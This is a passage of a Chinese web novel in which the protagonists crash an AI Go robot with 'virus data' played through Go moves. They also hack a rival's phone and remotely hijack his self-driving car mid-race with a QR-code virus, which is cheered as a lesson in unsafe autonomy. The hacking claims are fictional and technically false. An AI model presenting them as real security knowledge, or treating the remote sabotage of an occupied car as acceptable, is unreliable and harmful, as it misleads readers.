正常情况下许愿的速度早就该慢下来了,但她并没有减速,还是飞速落子,且没有下错一枚棋子。 这代表什么…… 代表许愿的大脑计算能力跟机器相比也毫不逊色。 而裁判在一旁早就看傻了,整个人愣呼呼的,一直盯着许愿落下的棋子,久久说不出话。 “我想过许总很厉害,可没想到她真的这么厉害。” “也没人说许总懂围棋啊!” “跟丘利亚针锋相对,许总的大脑那还是人脑吗?” “我靠不愧是那两人的后代,那样的基因……许愿真的该去测一测智商了。”说这话的是了解许愿身份的人。 到现在就算许愿真的输那也是虽败犹荣。 可现场的人更希望许愿能赢,而不是输。 莱蒂斯已经坐不住了,在他眼里许愿早该输了,他甚至觉得许愿还不如李云伟,可现实却给了他一耳光。 莱蒂斯咬牙:“许愿怎么回事,她该不会真的会赢了丘利亚吧!” 艾瑞克也是内心慌乱的擦着冷汗:“应该不会,丘利亚毕竟是机器人。” 如果许愿真的赢了,那不就是怪物吗。 可艾瑞克死死盯着大屏幕看着大屏幕上黑白交错的棋盘心却越来越沉。 许愿不愧是许,他也以为许愿赢不了,可现在这么久了,许愿完全没有减速,他开始为自己的丘利亚担心了。 艾瑞克擦拭着不停冒出的冷汗,自己在心里劝着自己。 许愿不会赢的,丘利亚可是机器,人类不会赢过机器的,最坏的打算就是两人打成平手,许愿不可能大脑一直这样清醒的跟机器比,肯定会有个阈值,到了那一点后许愿的速度绝对会慢下来。 机器都可能会出错,人更会出错,所以许愿坚持不了多久…… 艾瑞克这样劝慰自己,目光一直放到台上和大屏幕上为丘利亚加油打气。 倏地,艾瑞克看到自己的丘利亚停下了动作,没有继续落子。 艾瑞克心里咯噔一下。 出什么事了? 丘利亚怎么了?看这样子像是死机了! 艾瑞克愣住了,莱蒂斯也大脑宕机。 许愿却勾了勾唇角,眼尾微微上挑,她将自己手中的黑子随意的丢回到棋盘玉盒中,整个人靠着座椅,指尖有一搭没一搭的轻点着桌面,一派放松的模样。 许愿这样子,似乎是打算停在这里? 发生了什么? 裁判发现了不对,看了看丘利亚,而后目光重新落到许愿身上,开口询问:“许总,丘利亚是……死机了?” 许愿轻笑:“你很聪明,他的大脑要烧坏了呢,真可惜。” 裁判震惊,目光再落到丘利亚身上,却见圆乎乎的黄色机器人突然开始冒黑烟,像是电器出故障后的反应,电火花都冒出来,惹得裁判后退两步担心这电流电到自己。 工作人员赶紧冲上来开始善后,以免丘利亚爆炸或者发生其它意外。 丘利亚被带走了,这变故来的太快,现场的人都有些愣神,确切的说是不敢相信。 他们前一秒还在担心许愿输掉比赛,结果下一秒丘利亚就报废了? 是丘利亚报废了!就这么简单的报废了! 第908章 打败丘利亚 艾瑞克已经第一时间冲上台,紧张的开始用随身带的工具开始检查丘利亚,想找出问题来修复。 丘利亚是他一点点摸索着研发出来的,对他来说丘利亚就等于是他的孩子那样重要,现在丘利亚就这样简单的被许愿弄死机报废了,这让艾瑞克太难过了。 丘利亚可以输,但不应该是这种输法。 艾瑞克唇瓣哆嗦的拯救着自己的机器人孩子,不过片刻就浑身开始冒冷汗,他甚至没有时间去想自己的丘利亚是怎么变成这样的。 许愿还是坐在椅子上,一副完全没有将机器人看在眼中的模样,她弯了弯唇,目光扫过那盘棋轻笑:“我说过你们的人工智能并不完善,你们能赢李云伟不代表能赢我,只是一盘简单的围棋都会输,甚至到死机报废的地步,你们的人工智能究竟有没有未来,全国人民都看得到,不是吗。” 他们赢了李云伟又如何? 最终还是输给了许愿。 艾瑞克不敢置信的抬头看向许愿,唇瓣干涩,莱蒂斯已经冲上台,他觉得是许愿偷偷动了手脚,否则人类怎么可能赢过机器人! “是你设计了丘利亚!”莱蒂斯愤怒指控。 见莱蒂斯要发疯,盛景炎已经行至许愿身边挡在她身前,刑从景和其他队员摆弄着自己手中的枪械,仿佛莱蒂斯敢上前一步做出任何伤害许愿的事,他们都会让莱蒂斯永远留在华国留在帝城。 许愿却毫不在意莱蒂斯此刻的抓狂,事实上她不是第一次看莱蒂斯抓狂了。 “我的确动了手脚。” 许愿弯着眼睛笑。 现场观众也有些不清楚到底什么状况,许愿到台上后根本没有跟丘利亚有过接触,怎么会动手脚呢?这就是丘利亚自己突然冒烟死机啊! 许愿面上还是带着笑,她眼尾弯弯开口:“艾瑞克,你的丘利亚只能是最低端的智能机器人,你是他真正的父亲,你来看这盘棋,你好好看看丘利亚是如何报废的。” “你能安排丘利亚学会围棋就说明你懂围棋,这里面包含了多少串数据你自己心里应该也猜得到。” 艾瑞克骇然的望向那盘没下完的围棋,内心惊愕又慌张。 到了现在艾瑞克终于明白丘利亚为什么会输! 直播间和到现场的也有高级程序员,此刻盯着大屏幕终于看懂了那盘棋,此刻飞速解释原因。 “你们不明白吗!从最开始许总和段老师就给出了答案啊!他们说了围棋是数学游戏,在他们这类高智商人群中围棋也会运用到各类数据算法,许总在开始落子的时候就已经开始利用围棋编写一串串数据了!丘利亚懂围棋,他为什么懂围棋?因为艾瑞克给他用数据编写了代码让他了解了围棋,许愿现在就用这一点来攻击丘利亚,她的一段段数据其实就是一串串病毒!丘利亚遭不住这些病毒攻击所以才会死机!你们不信可以按照许总下的这盘围棋编写出那些数据试试!真的会死机!我靠!许总的脑袋到底是怎么长的啊!” “知道这有多厉害吗!许总的大脑可以完全跟得上机器的大脑!她在用数据反制住丘利亚!” 那简直是疯了! 直播间的观众都听的呆了。 {我有些听不懂了,什么意思?有没有人给我解释的再清楚点?用小学生都能听懂的那种话来解释?} {简单来讲你猜人工智能是靠什么来运作的,是数据。让他们学会任何东西都需要数据和代码来维护,那丘利亚学会围棋其实本质上就是他的父亲艾瑞克先生为他编写了数据代码,丘利亚是怎么下棋的?脑内用数据换算后得到最佳的落点,许总是怎么反击的?用病毒数据来堵住丘利亚的最佳落点,许愿已经编写了病毒代码,丘利亚后续验算的数据也会带上病毒,他一次又一次的复制了病毒代码,所以才会中病毒报废啊!许总你是我的神!} {真正懂编码懂数据的人才知道许总有多可怕,你们只看到许总轻飘飘制住丘利亚,但你们根本不知道许总是怎么把这盘棋下成这样的,她需要提前验算然后逼着丘利亚一步又一步的在代码中加入那串病毒,这其中的庞大计算量已经不能称之为人脑了……} {想爆粗口,牛……啤,这是可以说的吗?} {所以说……嗯……许总的大脑打败了机器?是这意思吗?} {我TM终于明白了为什么都说许总才是华国最强大脑……为什么上面会派邢队来跟着许总保护许总了。} {就不能分我点脑细胞吗?我不求多聪明,就许总的智商分我十分之一就够了呜呜呜。} {之前我还在怕许总输给人工智障,哈哈,显得我像智障,我就说我们许总怎么可能输!许总就是最牛的!} {怪不得许总完全不慌完全不愁,段老师也是悠哉悠哉的,原来这两人一早就知道自己会赢!} {妈惹看看前面我们说许总疯了甚至贷款说许总会输的言论就觉得脸疼,我自己都觉得自己这样很可笑啊!} 一群人疯狂在直播间吹捧许愿,不吹不行,这是真牛。 许愿面上还是那副淡淡的模样,她看着面前的的艾瑞克和莱蒂斯。 “你们夸丘利亚是高端的人工智能,可在我看来就是完全不懂数据的人工智障,我输入的病毒并不是什么高端病毒。” “事实上我为丘利亚准备了很多款数据病毒,我只是输出了最低端的病毒丘利亚完全没发现,完全中招,他都没有让我用到高端病毒就死机了。” “你说这样的人工智能他有什么存活的必要吗?无法分辨最基础简单的病毒直接就会被人钻空子。” “这样的人工智能运用到什么地方?就算运用到监控上我都担心简单的病毒就能侵犯其他人的隐私,用到大门上成为只能遥控锁我都担心简单病毒就能让小偷直接破门而入,不会给顾客任何安全感。这样的人工智能就是废品。” 第909章 一决高下 许愿慢条斯理开口:“连最低端的病毒数据都无法分辨发生这种死机故障,你竟然还能说打算将丘利亚运用到新型自动驾驶上,我说的简单点,随便一个病毒二维码都能让这自动驾驶的车死机,一旦死机那就可能在马路上发生连环车祸,这就是在草菅人命。” 许愿的话让莱蒂斯和艾瑞克脸色愈发难看起来。 莱蒂斯咬牙:“你说丘利亚不能运用在自动驾驶上我偏不信这个邪!你敢不敢跟我比!拿你最新的车型来跟我的丘利亚自动驾驶跑车来比一场!你敢不敢!” 他在刺激许愿一决高下。 许愿眸光微闪:“你确定要比吗。” “我一定要跟你比!我要让你知道丘利亚不是废品!”莱蒂斯激动大喊。 许愿淡淡的嗯了一声,然后眸光冷淡的看他:“那就签署协议吧,既然你要比就签免责书,死伤不论。” 许愿“死伤不论”四个字让莱蒂斯惊恐。 但为了给丘利亚正名,莱蒂斯还是暗暗咬牙同意了。 现场喧哗,全都没想到会是这个发展。 可这发展又没错,因为最初莱蒂斯就是在网络上放话要跟许愿的车比一比的。 这两人都曾参加过赛车比赛,且都拿过奖,可以说都是懂车的人。 但“死伤不论”还是会让人觉得内心慌张,死伤不论可不是点到为止。 现场的观众和直播间的网友们都开始激动,有些人忧心,担心许愿会出事,偏偏许愿才用病毒数据打了他们的脸。他们担心自己前脚担心,下一秒许愿就用新车再度打他们的脸。 脸已经很疼了,真不用再挨几巴掌。 没看到盛总都没拦着吗! 啊不……等会儿? 盛总拦了! 盛景炎握住许愿的手,眸光晦暗:“我不同意。” 是的,盛景炎不同意。 他曾经遭遇过那场车祸后断过腿,他不想许愿参加这次的比赛,再相信许愿也不允许许愿在这件事上出风头! 直播间有人忍不住噗嗤笑出声。 {救命,许总想出来浪,盛总赶紧把人摁住,真的一物降一物啊。} {平日里盛总对许总百依百顺,但这件事上盛总也是真的不退让。} {能退让吗?盛总当初可是出过车祸断过腿的,再说了,莱蒂斯还是个老阴比,谁知道会不会故意耍点什么手段,我们许总可是宝藏,莱蒂斯算什么,就一个有钱老头,我们许总比他年轻比他好看比他聪明比他有潜力,凭什么要跟他生死不论啊,美的他,配吗!} 直播间都是这么想的。 许愿皱了下眉,正要劝盛景炎让他不要这么不懂事的时候,盛景炎显然猜到她要说什么,抱着手臂凉笑:“我上,我来跟莱蒂斯比。” 许愿立刻伸手推他一把:“我不同意!你想都别想!” 盛景炎赶紧抓紧她的手:“你也知道担心,那你怎么就没想过我会担心?莱蒂斯要死要活跟我们什么关系,他想发疯尽管去发疯,可凭什么要带上你?我绝对不允许你跟他一起比赛!” 莱蒂斯:“……” 直播间观众要被笑死了。 {盛总担心许总所以不同意,许总明摆着要跟盛总讲道理,结果盛总小嘴叭叭来这么一句,许总瞬间感同身受哑巴了哈哈哈哈!还真的是臭情侣了解彼此。} {救命莱蒂斯此刻这个表情真的太好笑了,满脸都是要烧死臭情侣的表情!} 莱蒂斯的确无语。 什么东西啊,他招谁惹谁了就说他要死要活没关系,他怎么都觉得盛景炎那话说的想让他赶紧死呢!有毛病吗! 莱蒂斯一脸憋屈。 盛景炎和许愿两人僵持,没有一个人肯退让。 段星河在一旁看的眼角直抽,单手揣兜:“行吧,那要不我来。” 许愿和盛景炎在这一刻同时点头:“好!” 段星河:“……” 现场众人:“……” 直播间众人:“……” 不是? 你们两人就等着段星河出来呢是吧!不然也不会这么默契的答应啊! 段星河磨牙:“许愿,要点脸行吗,你担心盛景炎出事,盛景炎担心你出事,怎么,我呢?就没人担心我出事是不是?” 许愿轻咳一声有点心虚:“可是你没有爱人……还是孤儿啊……” 段星河被她这话气的差点没缓过劲儿。 要不是段星河真的是孤儿,他就要以为许愿是在骂人了。 “也不是没人担心你出事,国家特别担心!”许愿开口解释:“你看,邢队就特别担心。” 她指了指刑从景。 结果刑从景点了下头下一秒开口:“祸害遗千年,让他参加,许愿你别去。” 段星河:“……?” 都有病是吧! 段星河都打算撂挑子不干了,许愿这才笑着来劝:“那什么,我担心阿炎是因为阿炎不懂那些数据啊,真的有人使绊子他可能也反应不过来,而且他出过车祸好不容易才活着回来的。至于我……因为阿炎出过车祸所以才会担心我,你就不一样了,你那么聪明就算真的出点什么事也能很快反应过来,绝对必赢。” 许愿还觉得劝的不够,来了句:“要不你干脆改名字叫段必赢好了。” “……”段星河唇角抽了抽:“我真是谢谢你了。” 直播间都要笑死了。 {救命,为什么段老师每次出现在许总面前都是满身笑料啊!这么帅的人为什么浑身都是包袱!} {盛总:我担心阿愿出事。许总:我担心阿炎出事。段老师:好好好我去死!不行了笑死我了!} 段星河眼角抽了又抽,嘀咕:“我怎么总觉得你今天逼着我来参加这倒霉会议就是为了这事儿……”说到这里段星河整个人都要炸毛跳起来的喊:“我靠!许愿我就说你为什么逼着我来!你说你是不是故意的!” 许愿望天:“看破不说破嘛。” 事实上,她就是这么想的,也确实是把段星河本人算计来了。 段星河咬牙,气的脸都红了。 莱蒂斯眼看着没自己的事儿,赶紧追问:“所以你们确定好最后由谁来跟我比赛了没有?” 第910章 你爹来了 莱蒂斯脸色变了又变,咬牙:“许愿,最开始敲定要跟我比赛的是你,现在换人是什么意思?” 许愿还没说话呢,段星河便没好气的嘲道:“有人肯跟你比就不错了,你还挑上了,你想跟许愿比许愿就要跟你比?你谁啊?美得你,我肯跟你比都是给你面子。” 莱蒂斯中国话学的还是很好的,所以段星河这一连串的吐槽嘲讽莱蒂斯都听懂了,此刻脸上青一阵紫一阵的,明摆着是被气到了。 段星河哪里管他是不是被气到了,已经上了车,完全不管莱蒂斯在原地愣怔丢脸。 这次许愿带来的新车改进了很多,比之盛景炎最初开的那辆车性能提升了几个点,可以说是全方位升级,只是还不能做到量产。 比车就要换场地,中途给了休息时间,莱蒂斯跟自己的团队匆匆离开,现在竟是看也不想再看许愿一眼,像是被许愿刺激的不想面对现实一般。 段星河瞥了眼还贴在一起的许愿盛景炎忍不住翻了个白眼。 “许愿,你早料到盛景炎不会让你参加这比赛所以故意带我来的是不是?”段星河这会儿都没忘记找茬。 许愿握着盛景炎的手笑眯眯的,不承认也不否认,看的段星河又想翻白眼了。 宋玥导演也没想到自己还能蹭一波大的,还能拍到段星河,这会儿直播间全都笑作一团。 那没办法啊,三个人一起,单身那个就是会被落下嘛。 特别是段星河本来都没打算来结果是被许愿算计来顶缸的,实惨。 {我一直在看段老师,短短时间内,段老师翻了三个白眼了。} {拜托,如果我是段老师,我岂止翻三个白眼啊,我都翻万八千的白眼了!} {??你那不是翻白眼了,你那时癫痫抽搐了!} {可以看出许总和段老师关系真的很好了,换其他人段老师估计理都不理的,这喷不了,这绝对是纯友谊,段老师看许总那嫌弃和气愤的眼神跟我看我倒霉朋友闺蜜的眼神一样。} {本来我们段老师可以独美,直到遇到了许总……天塌了。} 直播间里全都在叽歪段星河被许愿坑的事,全都在嘻嘻哈哈。 段星河却不在意直播的事,整个人还是那副懒散的模样,许愿没忘记提醒他:“莱蒂斯这人心思重,你小心他在比赛过程中给你使绊子。” 段星河满不在乎嘲道:“靠他那个废物丘利亚?” 许愿想了下:“靠他其它的废物手下吧。” 段星河震惊:“他怎么那么多废物!” 许愿摆摆肩:“人以群分物以类聚吧,没办法的事,大概莱蒂斯想控制也控制不住。” 段星河啧了一声:“那莱蒂斯还挺惨,不过废物跟废物扎堆儿,也确实适合跟他在一起,别再去祸害其它人。” 许愿回应:“那确实是。” 盛景炎:“……” 话题中废物含量太高,他一时插不进去。 直播间都笑喷了。 {总结一句话,莱蒂斯是废物,所以奔着他来的也全是废物,一窝废物。} {莱蒂斯知道我们私下这么蛐蛐他吗?} {莱蒂斯那么小心眼儿天天盯着我们许总,肯定知道吧……} 莱蒂斯看着直播间刷屏说他是废物身边都是废物的言论脸也越来越黑。 本来他不懂什么叫物以类聚人以群分,就听见许愿和段星河骂他废物,看了直播间的解释才知道这两人什么意思,莱蒂斯气的差点喘不过气。 “废物?骂谁是废物!我身边的怎么就全都是废物了!简直胡说八道!”莱蒂斯愤怒:“艾瑞克你就不是废物!” 艾瑞克摸摸鼻子有点心虚:“跟许和段比起来我应该是挺废物的。” 莱蒂斯瞪他一眼,艾瑞克才没再吱声。 但艾瑞克心里清楚,自己是没办法跟许愿相提并论的,若非是莱蒂斯压着,他还挺想跟许愿沟通交流的。 艾瑞克抱着已经报废的丘利亚叹了口气,还在继续修理丘利亚。 休息时间两小时,两小时后莱蒂斯已经开着自己炫酷的跑车出现在跑道,脸上明显带着意色,摄像头都对准了莱蒂斯的新车。 不得不说莱蒂斯那么自信是有原因的,他的车看着的确很酷,直播间都在刷着莱蒂斯的车型,结果下一秒段星河也开车许愿设计好的那辆造型十分抢眼的跑车出现,就停在莱蒂斯那辆车旁边,甚至特地鸣笛两声。 直播间先是静默一瞬,然后有人忍不住发了句。 {总感觉段老师突然鸣笛像是在嘲莱蒂斯说……“你爹来了”} {救命,按照段老师那性子,还真有这种可能!} {不是?没有人夸这辆新车吗!超酷的啊!} 段星河架势的那辆新车可以说真的是全世界只有一辆,是许愿亲自打造的,车身是流畅的流线型,能够减少风的阻力,车子在路上飞驰的速度也会更快,两扇门设计的像是华丽且华美的羽翼,很有现代感 ,顶部的盖板是那种可以收缩可以折叠的,且还能变换颜色,说声炫酷也不为过,此刻段星河就在摁着按钮一直给盖板变色,就见车子的颜色也跟着变来变去,从艳丽的红色变成玄黑的夜色,最后变成了耀眼的银白色。 此刻银白色的车漆在阳光的照射下像是在发光,只一眼就让人爱上了这辆车。 {刚才注意力全都放在段老师鸣笛上了,现在注意到了这辆车,我想给许总跪一个,就是退一万步来讲,许总真的不能先卖我一辆吗……真的很酷,特别酷……} {许总设计的车好像都还没有正式售卖,这款车绝对是世界上独一无二的限量款,造价肯定不低,我都能猜到绝对是天价了。} {那咋了,许总的车花钱抢都抢不到好不好!你们根本不知道许总的东西在某些黑市拍卖会上价格多高!} {盲猜一波,等段老师开着这辆车碾压莱蒂斯后,这车虽然还没有流入市场就已经要被炒出天价了。} 第911章 黑他手机 莱蒂斯怎么可能注意不到段星河开的那辆车,脸色更臭了。 还没有开始比赛,他就觉得在车子的外形上自己就好像已经输了一般。 莱蒂斯开始烦躁,死死盯着这辆车,那眼神恨不能据为己有。 段星河打开车窗,懒懒散散的看他一眼,唇角带着点蔑视的撇了下,显然没把莱蒂斯放在心上,还是那副高高在上的姿态。 这个位置这个方向,能够正对上段星河那张带着桀骜气的面容,莱蒂斯觉得自己牙根都有些痒了。 主持人已经笑呵呵入场,采访两人说些赛前的话。 正常情况下都会说一些官方的话,但现在莱蒂斯哪有那个心情,就记得段星河跟许愿说他是废物他身边的人是废物,现在能友好才怪,此刻盯着镜头笑意冰冷:“我会让段和许知道什么是废物。” 主持人干笑两声还没把话筒递到段星河这边呢,段星河就嗤笑一声:“就是你这样的啊。” 明晃晃的挑衅。 主持人觉得若非是有比赛这俩人估计都要打起来了。 主持人只能秉持着人道主义寒暄几句说了几句场面话来让现场看起来不那么糟糕。 直播间却全都是乐子人,恨不能两人赶紧打起来。 比赛终于开始,段星河眸光晦暗的一踩油门,车子飞驰出去,莱蒂斯也紧跟其后狂追。 两辆车一前一后的在跑道上飞驰,彼此之间的距离追的很近。 莱蒂斯是踩着油门加快速递,段星河却慢条斯理的在控制面板上点戳了几下,车窗瞬间变成了液晶显示屏,还能在其上明显看到莱蒂斯略带着几分狰狞之意的面容,段星河挑眉扫了眼,轻笑一声。 “莱蒂斯,你这样很丑陋,你不知道吗?” 两人的车紧咬着离得很近,段星河生怕他听不到自己说什么,摁着面板蹦出麦克风,段星河操控着麦克风提高声线好让莱蒂斯听清楚自己说了什么。 一直在开车的莱蒂斯被他突然用麦克风的大嗓门吓得手一哆嗦,浑身直冒冷汗。 “段星河你疯了吗!”莱蒂斯大喊。 段星河还是那副懒懒散散的模样。 “没疯,跟你打个招呼,不过看你的样子好像吓得不轻啊,也让你车里面的话筒跳出来看看,说不定我们还能合唱一首歌?” 莱蒂斯:“?” 有病吗!谁家好人车里装麦克风啊! 想起这车是许愿设计的,一时有点猜不透到底是许愿有病还是段星河有病了,又或者这两人全都有病。 莱蒂斯几乎是倒抽了口凉气,他真的看不透华国人的脑回路啊! “段星河你是不是有毛病!麦克风这种东西就不该在车子里安装!”莱蒂斯愤怒。 段星河哦了一声:“难道不是因为你车里没有所以破防了吗?你根本不懂堵车的时候车内有麦克风有多爽,更不懂被人撞车遇到神经病的时候拿麦克风怼人有多酷,你不知道你不在意因为你车子里没有,好可怜。” 直播间都静默了一瞬。 {我最开始觉得麦克风有点鸡肋……但是当段老师提到遇到神经病可以用麦克风骂人的时候我承认我心动了。} {我也……} {救命,许总到底为什么会把车设计的这么奇奇怪怪而我还超级想要啊,到底奇怪的是许总还是我啊!} 谁奇怪现在并不重要,重要的事现在赛道上的段星河与莱蒂斯。 只见莱蒂斯满脸严肃,充分体现了体育竞技比赛的拼搏精神!而段星河二大爷似的懒懒散散的开车却还完全碾压了莱蒂斯。 这……这都没地儿找人说理去。 哪能怎么办?莱蒂斯他们自己设计的车不行啊。 见莱蒂斯现在不理自己了,段星河连着啧了几声,然后控制面板上面敲击了几下,莱蒂斯就听到自己的手机发出“叽呱叽呱叽呱”的可笑声音。 莱蒂斯:“!!” 这是又怎么了! 莱蒂斯警铃大作。 结果就听到自己车厢内也传来了段星河的声音。 “莱蒂斯先生,你只这样闷头开车真的不觉得无聊吗?”段星河不咸不淡开口,莱蒂斯这才终于发现自己的手机竟然开始了视频通话模式! “段星河,你到底知不知道我们是在比赛!”莱蒂斯气到自己都快要厥过去了。 段星河却还是懒洋洋的哦了一声:“是比赛啊,难道我们比的不是谁的车更优越吗?你不是说你的车是利用丘利亚自动驾驶的?怎么我看你不像是在自动驾驶,不还是手动驾驶吗?我想跟你聊聊你这是薛定谔的自动驾驶?” “你竟然黑了我的手机!”莱蒂斯的脸又黑了。 “请你注意下重点,我在问什么。”段星河轻啧一声,还在注意着前方的道路。 莱蒂斯愤怒回应:“我们的自动驾驶当然是车主不需要它的时候就不运用自动驾驶技术,当车主需要的时候才会开始自动驾驶。” “那果然是薛定谔的自动驾驶,很愚蠢的车,和你以及你的团队一样。”段星河嘲了句。 “段星河你不要以为我听不出来你在嘲我的车是废物!”莱蒂斯此刻觉得自己的头都开始疼起来,狠狠的踩下油门想冲撞段星河的车,但每次都撞不到,段星河就像是在逗他玩一样,他每次撞上来,车子就要移开一段距离,像是在招猫逗狗。 莱蒂斯几乎要被段星河气疯了。 莱蒂斯开始猛烈加速,段星河也轻快的加速,两辆跑车在跑道飞速疾驰。 莱蒂斯几乎被逼到想要撞段星河,但每次都会被段星河溜达一样的躲开,根本撞不到一点,就连直播间里面的观众都看不下去了。 {段老师真的好欠啊……贱歪歪的,我要是莱蒂斯我也要气死的。} {其实我到现在都没明白段老师为什么嘲讽莱蒂斯这辆车的自动驾驶啊,我觉得没毛病啊,就是车主需要开车的时候就开车,不需要了就用人工智能开车啊,有哪里不对吗为什么还要嘲这车是废物?} 第912章 要人命的东西 {真没觉得那车有什么不对的,不懂段老师的嘲点在哪里啊。} {我也……} {所以到底为什么?} {段老师应该会回答吧,看段老师那劲儿……估计会继续打脸莱蒂斯的。} {我现在就想段老师尽快打脸莱蒂斯,我真的很想知道原因啊。} {许总肯定也知道,不过我看许总现在只想看戏压根没打算解释,估计是想让段老师继续攻击莱蒂斯……突然理解莱蒂斯为什么这么讨厌许总了,换我是莱蒂斯我也忍不住讨厌啊。} 直播间弹幕区都在吐槽看热闹,莱蒂斯却还在逼问段星河为什么说自己的车是废品。 “因为你从一开始就只把自动驾驶技术当做辅助工具,我和阿愿为什么说你的自动驾驶技术不够成熟?因为真正成熟的自动驾驶技术,人工智能是可以完全代替人类掌控方向盘的。” “你有没有想过,你的车内不仅有人工智能驾驶系统还有你可以操控的方向盘,如果突然发生意外,人工智能系统接替你去架势,而你又在此时惊慌失措下去操控抢夺方向盘,那最后的结果是什么?在你和人工智能争夺操控权的时候才更可能发生意外,所以我说你们研究的就是废品。” “且你们研发的丘利亚本就是半成品人工智能,随便一段病毒数据就可以让他彻底报废,那你想过没有,我现在可以轻而易举黑进你的手机系统,就同样可以轻而易举黑进丘利亚,然后操控你的车子来一场查不出主谋的车祸谋杀案,你死于车祸却没有人知道凶手是谁,只会认为是你操作不当发生车祸,这个问题你想过没有?” 段星河眸光晦暗,那样的眼神看的莱蒂斯心里发慌。 段星河继续攻击:“如果你的车真的推出市场,那么购买你车子的人大多都是圈子里最有钱的富豪,这些人多多少少都有对家,她们可以轻而易举的谋害自己的对手而不让自己沾上一点血,最后被查出的只会是你的驾驶系统出问题,他们却能完美隐身。” “丘利亚是半成品,所以现在根本不是推出人工智能的好时机,人工智能还不可以完全替代人类驾驶汽车,你现在推出自动驾驶就是在草菅人命,我希望你能清楚这一点。” 段星河字字句句说的犀利。 莱蒂斯一时哑然,艾瑞克却瞪圆了眼睛完全听懂了。 虽然承认段星河说的有道理,但莱蒂斯却不肯认输,此刻咬牙怒道:“胡说八道!我们的自动驾驶系统已经经过了各方面优化完善,我们经过了测试才决定推出的!段星河你这是污蔑!” 段星河嘲讽:“我和阿愿设计的人工智能系统都只是最低级的,而你那款人工智障连我们最低级的一款人工智能都比不过,你却说可以用在自动驾驶技术上,你知道你这样很像笑话吗。” 被嘲成笑话的莱蒂斯红着眼睛:“你在胡说,你在故意攻击我们的人工智能!你这是商业竞争!” 段星河握着方向盘转动然后来了一个漂亮的漂移停在路边。 “那就拿事实来说话吧。”段星河淡淡道:“我现在就可以黑进你的系统直接操控你的方向盘。” 莱蒂斯根本不信段星河能有这能耐,结果下一秒就见自己的方向盘好像彻底失灵,自己踩急刹车也根本没用,车胎都好像跟着打滑,好像是有人完全越过自己操控恶劣方向盘。 跟随拍摄的无人机将着危险的一幕完全拍摄下来传送到直播间内。 在看直播的观众都惊呆了。 是的,方才段星河停下车子就是为了敲打代码操控莱蒂斯的车子。 现在莱蒂斯就被取代了控车权,而他的生死全都掌握在段星河手中。 直播间沸腾了。 {靠靠靠!我终于懂了段老师和许总一直说莱蒂斯那自动驾驶技术为什么不成熟了!这他妈谁跟我有仇找黑客直接抢走我的操控权就能完全整死我!如果我买了着款车,而有仇人抢走了我的控车权!他们完全可以捏造是我自己操控不当导致的车祸行为!就连死都只能说是自己的原因!根本查不到是谁害了我!} {现在这种情况但凡不是在直播,那莱蒂斯的这条命就等同于是在段老师手中,段老师让他生他就生,段老师让他死他就死!} {莱蒂斯的自动驾驶技术就是不够成熟!真的上了马路是会害死人的!} 段星河只这样简单的操控了莱蒂斯的车就能让直播间明白 这项技术有多不成熟。 莱蒂斯咬牙,却听段星河继续道:“其实根本不需要大费周章,只需要一个带有病毒的二维码你的车子就会报废。” 这次不等莱蒂斯回答,段星河的车就已经开到莱蒂斯的车前,谁也没看清段星河手中的二维码是什么,就见莱蒂斯的车子已经在跑道中间不停转圈,而车子也已经开始冒黑烟,俨然是中了病毒! 莱蒂斯:“……段星河!你快让车子停下!” 段星河手控方向盘笑了一声:“莱蒂斯先生,现在是我无法操控了,因为已经中病毒了,你只能等车子自行停下来了。” 车子还在快速转圈,莱蒂斯已经忍不住的头晕脑胀的开始呕吐。 直播间又开始沸腾了。 {靠!连一个二维码都能让这车子疯成这样这不是马路杀手是什么?} {国内有多堵车大家都知道,真要中了病毒那这辆车转圈要撞多少人的车!这是不仅要自己死还要害死周围的人啊!坚决抵制这种自动驾驶系统!必须要对我们的人身安全负责!} {我现在彻底明白许总为什么说这项技术不成熟了!莱蒂斯就是典型的商人,他只想赚钱,却没想过这项技术的弊端!} 莱蒂斯的车子足足转了五分钟才终于停下。 莱蒂斯打开车门,整个人才出来就头晕目眩的栽到地上开始不停呕吐。 段星河的车子就停在他身旁,莱蒂斯还能听到段星河凉薄的声音。 “这就是你们研发的人工智障,不过是要人命的东西。” 第913章 骂莱蒂斯就对了 这一刻,莱蒂斯才彻底知道自己输了,输给了许愿和段星河。 莱蒂斯面色惨白的跪倒在地上,他本来引以为傲的车子彻底报废了,已经有救援人员冲上来用灭火器喷着还在冒着浓浓黑烟的跑车,艾瑞克在原地也是脸色难看段星河给他上了一课,让他彻底知道自己的丘利亚输在哪里。 想研究人工智能靠人工智能挣钱是真的。 但前提是,他们的人工智能真的靠得住吗? 如果只是一段代码一张贴有病毒的二维码就可以让智能系统崩溃,那他们的丘利亚根本不会有任何前景。 段星河跟许愿研发的人工智能就已经完全碾压了丘利亚。 在剧烈的轰鸣声中,艾瑞克意识到自己的丘利亚彻底输了,而自己也输了。 莱蒂斯整个人吐到最后只能吐出内胆的苦水,他已经说不出话,整个人头晕脑胀,最后被人抬走的,艾瑞克就跟在他身边,即便如此媒体还在拥挤着追问各式各样尖锐的问题。 偏偏围堵他们的还不是华国记者,全都是海外的记者! “莱蒂斯先生承认自己输了吗?” “段老师说的都是真的吗?丘利亚还有很多残缺?” “莱蒂斯先生真的测评过丘利亚这款人工智能吗?你没有想过丘利亚会带来多大的影响吗?没有想过丘利亚会遭遇病毒后的反应吗?这种车上路会出人命的!” “莱蒂斯先生研发这一款人工智能也是为了钱吗?” “现在会放弃丘利亚这款人工智能吗?” “我们的丘利亚是不是没办法跟许愿的测谎仪机器人相比?我们的人工智能真的是最低端的人工智能吗?请莱蒂斯先生回答我们。” 海外记者们咄咄逼人,完全没打算放过莱蒂斯。 莱蒂斯一张脸被气的涨红,可没人在意他此刻有多气愤,全都在继续逼问,等他的答案和回应。 华国观众看着担架上的莱蒂斯被围堵要说法的模样,看他如此狼狈忍不住有一种大快人心的感觉,脸上都是幸灾乐祸的笑意。 虽然知道这样不对,但忍不住。 谁让莱蒂斯一开始就挑衅贬低他们许总的人工智能? 活该!就是活该! 莱蒂斯和艾瑞克被逼问,莱蒂斯气的说不出话,艾瑞克只能站出来面对镜头面对记者,艾瑞克整个人仿佛在这一瞬间苍老了很多。 “我们不得不承认许和段的技术远超丘利亚,我们不会再推出与丘利亚相关的车型,但是我们不会放弃为丘利亚升级,我们的人工智能会一点点进步的,请大家相信我们。” 艾瑞克这样回应,记者追问:“您有没有想过当你们的人工智能丘利亚开始进步的时候许的人工智能已经再度飞驰进步了?你们的丘利亚可能永远都比不过咪咪,既然这样我们为什么还要期待丘利亚,我们为什么不用咪咪?” 艾瑞克迟疑了,他对自己都产生了疑惑。 是啊,既然咪咪这么好,大家为什么还要等丘利亚呢? 